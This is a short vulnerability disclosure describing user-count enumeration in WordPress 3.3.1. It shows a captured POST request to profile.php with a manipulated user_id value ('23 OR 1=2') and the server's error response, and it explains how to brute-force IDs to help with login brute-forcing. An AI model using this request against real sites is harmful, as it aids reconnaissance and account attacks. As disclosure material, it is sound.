WordPress version 3.3.1 suffers from a user count enumeration vulnerability.
c20f2a5c824ed614b4d02d82a14416360680f0697863cb97e77ab4cb710d05ed
# TITLE ....... # Wordpress 3.3.1 - users counter ..................... #
# DATE ........ # 15.02.2012 .......................................... #
# AUTOHR ...... # https://hauntit.blogspot.com ......................... #
# SOFT LINK ... # https://wordpress.org................................. #
# VERSION ..... # 3.3.1 ............................................... #
# TESTED ON ... # LAMP ................................................ #
# ..................................................................... #
# 1. What is this?
# 2. What is the type of vulnerability?
# 3. Where is bug :)
# 4. More...
#............................................#
# 1. What is this?
This is very nice CMS, You should try it! ;)
# 2. What is the type of vulnerability?
This is very crazy bug, because, we can not enumerate _names_ of users.
We can't get a "information-disclosure"-kind of bug.
One think we can do using this bug is getting to know
what is the number of users in Wordpress. ;)
Number of users (in webapp) can be used, to determine:
- how "popular" is this WP-site (by "popular" I mean, how many users are registered in this site);
- can be used, when You're bruteforcing names in WP.
Here, if we can get 'number of users', we can do other thing:
now we know that: (for example) in webapplication we have 10 users.
When we get number of users, we can determine next attack: bruteforce to enumerate their (users) names.
So, when doing this, we have some kind of 'default login list' file for bruteforce.
Via this file, bruteforcing-progress tells us, that (from logins.txt) we find out 7 names.
So connecting this information with information from our bug - we can know, that
in webapplication is 3 more names(users) to 'get'.
I tested this vulnerability for registered user. Role for him was subscriber (so "the lowest" of registered users).
# 3. Where is bug :)
Here I'll present some BurpProxy traffic dump:
...cut...
POST /www/Wordpress/wordpress/wp-admin/profile.php HTTP/1.1
Host: localhost
(...)
Content-Type: application/x-www-form-urlencoded
Content-Length: 363
Connection: close
_wpnonce=f175245608&_wp_http_referer=%2Fwww%2FWordpress%2Fwordpress%2Fwp-admin%2Fprofile.php&from=profile&checkuser_id=2&admin_color=fresh&admin_bar_front=1&first_name=tester&last_name=tester&nickname=tester&display_name=tester&email=tester%40tester.com&url=&aim=&yim=&jabber=&description=&pass1=&pass2=&action=update&user_id=23 OR 1=2&submit=Update+Profile
...cut...*
If this user_id exists, we'll get an information that:
- we can not edit this user/profile
- we can edit this user/profile (here won't be info like "now You can change other users";). If
we have permmitions here to change (others), we will change it (no warning or other "communicate" here)
If there is not user_id = (our intiger), than Wordpress tell us:
...cut...
HTTP/1.1 500 Internal Server Error
Date: Wed, 15 Feb 2012 23:34:34 GMT
Server: Apache/2.2.17 (Ubuntu)
X-Powered-By: PHP/5.3.5-1ubuntu7.7
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Wed, 15 Feb 2012 23:34:35 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 2923
<!DOCTYPE html>
<!-- Ticket #11289, IE bug fix:(...) -->
<html xmlns="https://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>WordPress › Error</title>
<style type="text/css">
(...)
</style>
</head>
<body id="error-page">
<p>Invalid user ID.</p></body>
</html>
...cut...
So now by bruteforcing numbers with this HTTP POST, authenticated (normal registered) user
can find out how many users is in the application.
# 4. More...
- https://www.wordpress.org
- https://hauntit.blogspot.com
- https://www.google.com
- https://portswigger.net
# Best regards
#